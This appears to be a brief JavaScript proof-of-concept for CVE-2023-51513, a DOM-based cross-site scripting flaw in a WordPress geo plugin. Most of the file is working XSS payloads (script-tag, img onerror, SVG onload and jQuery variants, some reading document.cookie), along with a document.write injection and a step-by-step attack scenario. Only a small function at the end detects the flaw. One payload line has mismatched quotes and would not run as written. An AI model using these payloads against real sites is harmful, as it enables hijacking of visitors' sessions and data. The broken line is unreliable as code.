// CVE-2023-51513 DOM-Based XSS PoC // Target: WordPress Geo Controller Plugin < 8.5.2 // Payload that can be injected via plugin's geo functionality const xssPayload = '<script>alert(document.cookie)</script>'; // Example attack scenario: // 1. Attacker with low privilege account injects payload // 2. Payload stored and reflected in geo-related content // 3. Victim visits affected page // 4. Browser executes malicious script in DOM context // Simple PoC for testing: console.log('Testing CVE-2023-51513'); document.write('<img src=x onerror="alert(String.fromCharCode(67,111,111,107,105,101))">'); // Alternative payload using SVG: const svgPayload = '<svg onload=alert(document.domain)>'; // jQuery-based payload: const jqueryPayload = '<img src=x onerror="$(document).ready(function(){alert(document.cookie)})"'>'; // Function to detect vulnerability: function detectXSS() { const params = new URLSearchParams(window.location.search); const geoParam = params.get('geo'); if (geoParam && geoParam.includes('<')) { console.log('Potential XSS vector detected'); } }
